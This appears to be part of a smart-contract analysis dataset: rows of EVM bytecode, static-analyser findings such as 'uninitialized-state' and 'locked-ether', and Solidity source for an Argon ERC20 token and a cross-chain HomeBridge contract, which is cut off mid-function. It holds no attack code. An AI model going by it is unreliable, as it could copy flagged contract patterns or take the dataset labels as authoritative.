ffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610d875750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610ddb5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610de95760019050610e01565b610df38483610e08565b610dfc57600080fd5b600190505b9392505050565b600080600454148015610e1d57506000600254145b8015610e2b57506000600354145b15610e395760009050610ed8565b60006004541115610e95576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610e945760009050610ed8565b5b60006002541115610eb457816002541115610eb35760009050610ed8565b5b60006003541115610ed357600354821115610ed25760009050610ed8565b5b600190505b9291505056fea265627a7a7231582099f41b7ed94c2344682c9af8d33b8a097f815e6e37f41ef9784ef63f9917d0c464736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 8,736 |
0x48cf01fcbbf6a471b2b37a8e199eae6335ab1d9c
|
/**
*Submitted for verification at Etherscan.io on 2021-03-12
*/
pragma solidity ^0.5.2;
/*
█████╗ ██████╗ ██████╗ ██████╗ ███╗ ██╗
██╔══██╗██╔══██╗██╔════╝ ██╔═══██╗████╗ ██║
███████║██████╔╝██║ ███╗██║ ██║██╔██╗ ██║
██╔══██║██╔══██╗██║ ██║██║ ██║██║╚██╗██║
██║ ██║██║ ██║╚██████╔╝╚██████╔╝██║ ╚████║
╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝
Argon aims to offer blockchain-based freelancer platform on the BEP20 and ERC20 network, working with fully decentralized and smart contracts.
https://argonrun.medium.com
https://www.facebook.com/argonrun
https://twitter.com/argonfoundation
https://github.com/ahmetoznar/ArgonPlatform
https://t.me/argoncommunity
https://argon.run/argon-whitepaper.pdf
https://coinmarketcap.com/currencies/argon
https://www.coingecko.com/en/coins/argon
MAIL : [email protected]
WEB : https://argontoken.com
- Argon Token Team
*/
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev give an account access to this role
*/
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
/**
* @dev remove an account's access to this role
*/
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
/**
* @dev check if an account has this role
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @title ERC20 interface
* @dev see https://eips.ethereum.org/EIPS/eip-20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://eips.ethereum.org/EIPS/eip-20
* Originally based on code by FirstBlood:
* https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*
* This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for
* all accounts just by listening to said events. Note that this isn't required by the specification, and other
* compliant implementations may not do it.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer token to a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when _allowed[msg.sender][spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when _allowed[msg.sender][spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Approve an address to spend another addresses' tokens.
* @param owner The address that owns the tokens.
* @param spender The address that will spend the tokens.
* @param value The number of tokens that can be spent.
*/
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0));
require(owner != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* Emits an Approval event (reflecting the reduced allowance).
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
_burn(account, value);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
}
}
/**
* @title ERC20Mintable
* @dev ERC20 minting logic
*/
contract ERC20Mintable is ERC20, MinterRole {
/**
* @dev Function to mint tokens
* @param to The address that will receive the minted tokens.
* @param value The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address to, uint256 value) public onlyMinter returns (bool) {
_mint(to, value);
return true;
}
}
/**
* @title ERC20Detailed token
* @dev The decimals are only for visualization purposes.
* All the operations are done using the smallest and indivisible token unit,
* just as on Ethereum all the operations are done in wei.
*/
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @return the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract ARGON is ERC20Mintable, ERC20Detailed {
uint8 public constant DECIMALS = 18;
uint256 public constant INITIAL_SUPPLY = 100000000 * (10 ** uint256(DECIMALS));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor () public ERC20Detailed("Argon Token", "ARGON", DECIMALS) {
_mint(msg.sender, INITIAL_SUPPLY);
}
}
|
0x608060405234801561001057600080fd5b5060043610610128576000357c01000000000000000000000000000000000000000000000000000000009004806340c10f19116100bf578063986502751161008e578063986502751461050b578063a457c2d714610515578063a9059cbb1461057b578063aa271e1a146105e1578063dd62ed3e1461063d57610128565b806340c10f191461038657806370a08231146103ec57806395d89b4114610444578063983b2d56146104c757610128565b80632e0f2625116100fb5780632e0f2625146102ba5780632ff2e9dc146102de578063313ce567146102fc578063395093511461032057610128565b806306fdde031461012d578063095ea7b3146101b057806318160ddd1461021657806323b872dd14610234575b600080fd5b6101356106b5565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017557808201518184015260208101905061015a565b50505050905090810190601f1680156101a25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101fc600480360360408110156101c657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b604051808215151515815260200191505060405180910390f35b61021e61076e565b6040518082815260200191505060405180910390f35b6102a06004803603606081101561024a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610778565b604051808215151515815260200191505060405180910390f35b6102c2610829565b604051808260ff1660ff16815260200191505060405180910390f35b6102e661082e565b6040518082815260200191505060405180910390f35b61030461083f565b604051808260ff1660ff16815260200191505060405180910390f35b61036c6004803603604081101561033657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610856565b604051808215151515815260200191505060405180910390f35b6103d26004803603604081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108fb565b604051808215151515815260200191505060405180910390f35b61042e6004803603602081101561040257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610925565b6040518082815260200191505060405180910390f35b61044c61096d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561048c578082015181840152602081019050610471565b50505050905090810190601f1680156104b95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610509600480360360208110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a0f565b005b610513610a2f565b005b6105616004803603604081101561052b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a3a565b604051808215151515815260200191505060405180910390f35b6105c76004803603604081101561059157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610adf565b604051808215151515815260200191505060405180910390f35b610623600480360360208110156105f757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610af6565b604051808215151515815260200191505060405180910390f35b61069f6004803603604081101561065357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b13565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561074d5780601f106107225761010080835404028352916020019161074d565b820191906000526020600020905b81548152906001019060200180831161073057829003601f168201915b5050505050905090565b6000610764338484610b9a565b6001905092915050565b6000600254905090565b6000610785848484610cfd565b61081e843361081985600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ec990919063ffffffff16565b610b9a565b600190509392505050565b601281565b601260ff16600a0a6305f5e1000281565b6000600660009054906101000a900460ff16905090565b60006108f133846108ec85600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610eeb90919063ffffffff16565b610b9a565b6001905092915050565b600061090633610af6565b151561091157600080fd5b61091b8383610f0c565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a055780601f106109da57610100808354040283529160200191610a05565b820191906000526020600020905b8154815290600101906020018083116109e857829003601f168201915b5050505050905090565b610a1833610af6565b1515610a2357600080fd5b610a2c81611060565b50565b610a38336110ba565b565b6000610ad53384610ad085600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ec990919063ffffffff16565b610b9a565b6001905092915050565b6000610aec338484610cfd565b6001905092915050565b6000610b0c82600361111490919063ffffffff16565b9050919050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610bd657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610c1257600080fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610d3957600080fd5b610d8a816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ec990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e1d816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610eeb90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000828211151515610eda57600080fd5b600082840390508091505092915050565b6000808284019050838110151515610f0257600080fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610f4857600080fd5b610f5d81600254610eeb90919063ffffffff16565b600281905550610fb4816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610eeb90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6110748160036111a890919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167f6ae172837ea30b801fbfcdd4108aa1d5bf8ff775444fd70256b44e6bf3dfc3f660405160405180910390a250565b6110ce81600361125890919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167fe94479a9f7e1952cc78f2d6baab678adc1b772d936c6583def489e524cb6669260405160405180910390a250565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561115157600080fd5b8260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156111e457600080fd5b6111ee8282611114565b1515156111fa57600080fd5b60018260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561129457600080fd5b61129e8282611114565b15156112a957600080fd5b60008260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505056fea165627a7a72305820aa323a93c0ebd901e37c2a87e8c92324a59eed757d50d21912b58ca4d99a4e360029
|
{"success": true, "error": null, "results": {}}
| 8,737 |
0xeee901ac8e919f92ed0a27813307b4ad3a32be1f
|
pragma solidity ^0.4.24;
// File: contracts/IBridgeValidators.sol
interface IBridgeValidators {
function isValidator(address _validator) public view returns(bool);
function requiredSignatures() public view returns(uint256);
function owner() public view returns(address);
}
// File: contracts/libraries/Message.sol
library Message {
// function uintToString(uint256 inputValue) internal pure returns (string) {
// // figure out the length of the resulting string
// uint256 length = 0;
// uint256 currentValue = inputValue;
// do {
// length++;
// currentValue /= 10;
// } while (currentValue != 0);
// // allocate enough memory
// bytes memory result = new bytes(length);
// // construct the string backwards
// uint256 i = length - 1;
// currentValue = inputValue;
// do {
// result[i--] = byte(48 + currentValue % 10);
// currentValue /= 10;
// } while (currentValue != 0);
// return string(result);
// }
function addressArrayContains(address[] array, address value) internal pure returns (bool) {
for (uint256 i = 0; i < array.length; i++) {
if (array[i] == value) {
return true;
}
}
return false;
}
// layout of message :: bytes:
// offset 0: 32 bytes :: uint256 - message length
// offset 32: 20 bytes :: address - recipient address
// offset 52: 32 bytes :: uint256 - value
// offset 84: 32 bytes :: bytes32 - transaction hash
// offset 116: 32 bytes :: uint256 - home gas price
// bytes 1 to 32 are 0 because message length is stored as little endian.
// mload always reads 32 bytes.
// so we can and have to start reading recipient at offset 20 instead of 32.
// if we were to read at 32 the address would contain part of value and be corrupted.
// when reading from offset 20 mload will read 12 zero bytes followed
// by the 20 recipient address bytes and correctly convert it into an address.
// this saves some storage/gas over the alternative solution
// which is padding address to 32 bytes and reading recipient at offset 32.
// for more details see discussion in:
// https://github.com/paritytech/parity-bridge/issues/61
function parseMessage(bytes message)
internal
pure
returns(address recipient, uint256 amount, bytes32 txHash)
{
require(isMessageValid(message));
assembly {
recipient := and(mload(add(message, 20)), 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)
amount := mload(add(message, 52))
txHash := mload(add(message, 84))
}
}
function isMessageValid(bytes _msg) internal pure returns(bool) {
return _msg.length == 116;
}
function recoverAddressFromSignedMessage(bytes signature, bytes message) internal pure returns (address) {
require(signature.length == 65);
bytes32 r;
bytes32 s;
bytes1 v;
// solium-disable-next-line security/no-inline-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := mload(add(signature, 0x60))
}
return ecrecover(hashMessage(message), uint8(v), r, s);
}
function hashMessage(bytes message) internal pure returns (bytes32) {
bytes memory prefix = "\x19Ethereum Signed Message:\n";
// message is always 116 length
string memory msgLength = "116";
return keccak256(prefix, msgLength, message);
}
function hasEnoughValidSignatures(
bytes _message,
uint8[] _vs,
bytes32[] _rs,
bytes32[] _ss,
IBridgeValidators _validatorContract) internal view {
require(isMessageValid(_message));
uint256 requiredSignatures = _validatorContract.requiredSignatures();
require(_vs.length >= requiredSignatures);
bytes32 hash = hashMessage(_message);
address[] memory encounteredAddresses = new address[](requiredSignatures);
for (uint256 i = 0; i < requiredSignatures; i++) {
address recoveredAddress = ecrecover(hash, _vs[i], _rs[i], _ss[i]);
require(_validatorContract.isValidator(recoveredAddress));
if (addressArrayContains(encounteredAddresses, recoveredAddress)) {
revert();
}
encounteredAddresses[i] = recoveredAddress;
}
}
}
// File: contracts/libraries/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/upgradeability/EternalStorage.sol
/**
* @title EternalStorage
* @dev This contract holds all the necessary state variables to carry out the storage of any contract.
*/
contract EternalStorage {
mapping(bytes32 => uint256) internal uintStorage;
mapping(bytes32 => string) internal stringStorage;
mapping(bytes32 => address) internal addressStorage;
mapping(bytes32 => bytes) internal bytesStorage;
mapping(bytes32 => bool) internal boolStorage;
mapping(bytes32 => int256) internal intStorage;
}
// File: contracts/IOwnedUpgradeabilityProxy.sol
interface IOwnedUpgradeabilityProxy {
function proxyOwner() public view returns (address);
}
// File: contracts/upgradeable_contracts/OwnedUpgradeability.sol
contract OwnedUpgradeability {
function upgradeabilityAdmin() public view returns (address) {
return IOwnedUpgradeabilityProxy(this).proxyOwner();
}
// Avoid using onlyProxyOwner name to prevent issues with implementation from proxy contract
modifier onlyIfOwnerOfProxy() {
require(msg.sender == upgradeabilityAdmin());
_;
}
}
// File: contracts/upgradeable_contracts/Ownable.sol
/**
* @title Ownable
* @dev This contract has an owner address providing basic authorization control
*/
contract Ownable is EternalStorage {
/**
* @dev Event to show ownership has been transferred
* @param previousOwner representing the address of the previous owner
* @param newOwner representing the address of the new owner
*/
event OwnershipTransferred(address previousOwner, address newOwner);
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner());
_;
}
/**
* @dev Tells the address of the owner
* @return the address of the owner
*/
function owner() public view returns (address) {
return addressStorage[keccak256("owner")];
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner the address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
setOwner(newOwner);
}
/**
* @dev Sets a new owner address
*/
function setOwner(address newOwner) internal {
emit OwnershipTransferred(owner(), newOwner);
addressStorage[keccak256("owner")] = newOwner;
}
}
// File: contracts/upgradeable_contracts/Validatable.sol
contract Validatable is EternalStorage {
function validatorContract() public view returns(IBridgeValidators) {
return IBridgeValidators(addressStorage[keccak256("validatorContract")]);
}
modifier onlyValidator() {
require(validatorContract().isValidator(msg.sender));
_;
}
}
// File: contracts/upgradeable_contracts/U_BasicBridge.sol
contract BasicBridge is EternalStorage, Validatable, Ownable {
event GasPriceChanged(uint256 gasPrice);
event RequiredBlockConfirmationChanged(uint256 requiredBlockConfirmations);
function setGasPrice(uint256 _gasPrice) public onlyOwner {
require(_gasPrice > 0);
uintStorage[keccak256("gasPrice")] = _gasPrice;
emit GasPriceChanged(_gasPrice);
}
function gasPrice() public view returns(uint256) {
return uintStorage[keccak256("gasPrice")];
}
function setRequiredBlockConfirmations(uint256 _blockConfirmations) public onlyOwner {
require(_blockConfirmations > 0);
uintStorage[keccak256("requiredBlockConfirmations")] = _blockConfirmations;
emit RequiredBlockConfirmationChanged(_blockConfirmations);
}
function requiredBlockConfirmations() public view returns(uint256) {
return uintStorage[keccak256("requiredBlockConfirmations")];
}
}
// File: contracts/upgradeable_contracts/U_HomeBridge.sol
contract Sacrifice {
constructor(address _recipient) public payable {
selfdestruct(_recipient);
}
}
contract HomeBridge is EternalStorage, BasicBridge, OwnedUpgradeability {
using SafeMath for uint256;
event GasConsumptionLimitsUpdated(uint256 gas);
event Deposit (address recipient, uint256 value);
event Withdraw (address recipient, uint256 value, bytes32 transactionHash);
event DailyLimit(uint256 newLimit);
event ForeignDailyLimit(uint256 newLimit);
function initialize (
address _validatorContract,
uint256 _homeDailyLimit,
uint256 _maxPerTx,
uint256 _minPerTx,
uint256 _homeGasPrice,
uint256 _requiredBlockConfirmations
) public
returns(bool)
{
require(!isInitialized());
require(_validatorContract != address(0));
require(_homeGasPrice > 0);
require(_requiredBlockConfirmations > 0);
require(_minPerTx > 0 && _maxPerTx > _minPerTx && _homeDailyLimit > _maxPerTx);
addressStorage[keccak256("validatorContract")] = _validatorContract;
uintStorage[keccak256("deployedAtBlock")] = block.number;
uintStorage[keccak256("homeDailyLimit")] = _homeDailyLimit;
uintStorage[keccak256("maxPerTx")] = _maxPerTx;
uintStorage[keccak256("minPerTx")] = _minPerTx;
uintStorage[keccak256("gasPrice")] = _homeGasPrice;
uintStorage[keccak256("requiredBlockConfirmations")] = _requiredBlockConfirmations;
setInitialize(true);
return isInitialized();
}
function () public payable {
require(msg.value > 0);
require(msg.data.length == 0);
require(withinLimit(msg.value));
setTotalSpentPerDay(getCurrentDay(), totalSpentPerDay(getCurrentDay()).add(msg.value));
emit Deposit(msg.sender, msg.value);
}
function upgradeFrom3To4() public {
require(owner() == address(0));
setOwner(validatorContract().owner());
}
function gasLimitWithdrawRelay() public view returns(uint256) {
return uintStorage[keccak256("gasLimitWithdrawRelay")];
}
function deployedAtBlock() public view returns(uint256) {
return uintStorage[keccak256("deployedAtBlock")];
}
function homeDailyLimit() public view returns(uint256) {
return uintStorage[keccak256("homeDailyLimit")];
}
function foreignDailyLimit() public view returns(uint256) {
return uintStorage[keccak256("foreignDailyLimit")];
}
function totalSpentPerDay(uint256 _day) public view returns(uint256) {
return uintStorage[keccak256("totalSpentPerDay", _day)];
}
function totalExecutedPerDay(uint256 _day) public view returns(uint256) {
return uintStorage[keccak256("totalExecutedPerDay", _day)];
}
function withdraws(bytes32 _withdraw) public view returns(bool) {
return boolStorage[keccak256("withdraws", _withdraw)];
}
function setGasLimitWithdrawRelay(uint256 _gas) external onlyOwner {
